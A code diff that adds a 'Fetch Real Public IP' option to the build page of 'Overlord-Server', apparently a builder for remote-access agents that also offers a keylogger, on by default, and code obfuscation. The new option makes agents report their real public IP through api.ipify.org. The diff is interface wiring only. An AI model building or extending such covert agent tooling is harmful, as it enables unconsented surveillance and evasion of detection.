optional public IP fetching

Overlord-Server/public/assets/build.js

@@ -127,6 +127,7 @@ function collectFormSettings() {
     noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
     enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
     enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
+    fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
     obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
     garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
     garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
@@ -185,6 +186,7 @@ function applyFormSettings(settings) {
   if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
   if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
   if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
+  if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
   if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
   if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
   if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
@@ -1456,6 +1458,7 @@ form?.addEventListener("submit", async (e) => {
     noPrinting,
     disableKeylogger: !enableKeylogger,
     enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
+    fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
     outputName: outputNameVal || undefined,
     garbleLiterals: obfuscate ? garbleLiterals : undefined,
     garbleTiny: obfuscate ? garbleTiny : undefined,

Overlord-Server/public/build.html

@@ -449,6 +449,16 @@
                       </div>
                     </label>
 
+                    <label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
+                      <input type="checkbox" name="fetch-public-ip" class="w-4 h-4" />
+                      <div class="flex flex-col">
+                        <span class="flex items-center gap-2">
+                          <i class="fa-solid fa-globe text-amber-400"></i> Fetch Real Public IP
+                        </span>
+                        <span class="text-xs text-slate-500">Agent queries <code>api.ipify.org</code> at connect time and reports the result as its IP. Bypasses NAT/proxy detection on the server side. Generates one outbound HTTPS request to a third party.</span>
+                      </div>
+                    </label>
+
                   </div>
                 </div>
               </div>